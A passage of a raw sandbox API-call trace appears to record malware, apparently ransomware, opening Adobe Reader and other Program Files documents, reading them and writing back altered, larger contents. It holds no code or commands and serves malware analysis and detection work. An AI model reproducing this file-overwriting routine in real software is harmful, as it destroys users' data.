lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0035.901] LocalFree (hMem=0x70b5a8) returned 0x0 [0035.901] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.901] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0035.901] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.901] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp" (normalized: "c:\\program files\\windows journal\\templates\\music.jtp")) returned 0x20 [0035.901] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files\\windows mail\\winmail.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.901] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Mail\\WinMail.exe", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files\\Windows Mail\\WinMail.exe", lpFilePart=0x340f690*="WinMail.exe") returned 0x29 [0035.902] GetLastError () returned 0x5 [0035.902] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x13 [0035.902] LocalFree (hMem=0x70b5a8) returned 0x0 [0035.902] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.902] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0035.902] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.902] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Mail\\WinMail.exe" (normalized: "c:\\program files\\windows mail\\winmail.exe")) returned 0x26 [0035.902] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\foxmailincmail.exe" (normalized: "c:\\program files (x86)\\adobe\\foxmailincmail.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.902] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\foxmailincmail.exe", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\foxmailincmail.exe", lpFilePart=0x340f690*="foxmailincmail.exe") returned 0x2f [0035.902] GetLastError () returned 0x20 [0035.902] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x340f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̀폈H̀퐔H̀L̀꟠Ǧ\x01") returned 0x51 [0035.902] LocalFree (hMem=0x70da60) returned 0x0 [0035.902] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x340d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0035.903] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x340f894) [0035.903] RtlUnwind (TargetFrame=0x340f8fc, TargetIp=0x406ffc, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.903] RtlUnwind (TargetFrame=0x340f920, TargetIp=0x407184, ExceptionRecord=0x340f378, ReturnValue=0x0) [0035.903] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\foxmailincmail.exe" (normalized: "c:\\program files (x86)\\adobe\\foxmailincmail.exe")) returned 0x20 [0035.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.904] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.904] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x43c7 [0035.904] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.904] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.904] ReleaseMutex (hMutex=0x128) returned 1 [0035.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lisezmoi.htm", lpUsedDefaultChar=0x0) returned 12 [0035.904] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.906] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x33c7 [0035.906] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.906] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x33c7 [0035.906] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.907] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0035.907] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.907] CloseHandle (hObject=0x168) returned 1 [0035.907] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.908] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.908] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1e00 [0035.908] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.908] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.908] ReleaseMutex (hMutex=0x128) returned 1 [0035.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CAT", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CAT", lpUsedDefaultChar=0x0) returned 11 [0035.908] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.910] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0035.910] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.910] CloseHandle (hObject=0x168) returned 1 [0035.911] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.911] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.911] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1e00 [0035.911] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.911] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.911] ReleaseMutex (hMutex=0x128) returned 1 [0035.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.912] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.HUN", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.HUN", lpUsedDefaultChar=0x0) returned 11 [0035.912] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.919] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0035.919] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.919] CloseHandle (hObject=0x168) returned 1 [0035.920] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.920] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.920] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1e00 [0035.920] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.920] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.920] ReleaseMutex (hMutex=0x128) returned 1 [0035.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.921] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SKY", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SKY", lpUsedDefaultChar=0x0) returned 11 [0035.921] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.928] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0035.928] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.929] CloseHandle (hObject=0x168) returned 1 [0035.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.930] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.930] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1e00 [0035.930] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.930] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.930] ReleaseMutex (hMutex=0x128) returned 1 [0035.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.930] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.DAN", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.DAN", lpUsedDefaultChar=0x0) returned 11 [0035.930] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.934] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0035.935] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x340f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.935] CloseHandle (hObject=0x168) returned 1 [0035.936] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.936] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.936] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1e00 [0035.936] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.936] ReleaseMutex (hMutex=0x128) returned 1 [0035.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.NLD", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.NLD", lpUsedDefaultChar=0x0) returned 11 [0035.936] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.944] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0035.944] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.946] CloseHandle (hObject=0x168) returned 1 [0035.947] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.948] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.948] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1e00 [0035.948] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0035.948] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.948] ReleaseMutex (hMutex=0x128) returned 1 [0035.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0035.948] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0035.952] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0035.952] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0035.953] CloseHandle (hObject=0x168) returned 1 [0035.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0036.439] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.439] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x13a5b [0036.441] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.441] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.441] ReleaseMutex (hMutex=0x128) returned 1 [0036.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.441] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.443] ReadFile (in: hFile=0x1a8, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.457] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x12a5b [0036.457] ReadFile (in: hFile=0x1a8, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.470] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x12a5b [0036.470] WriteFile (in: hFile=0x1a8, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.470] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0036.471] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.471] CloseHandle (hObject=0x1a8) returned 1 [0036.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0036.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xcd60 [0036.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0036.471] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.471] ReleaseMutex (hMutex=0x128) returned 1 [0036.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, 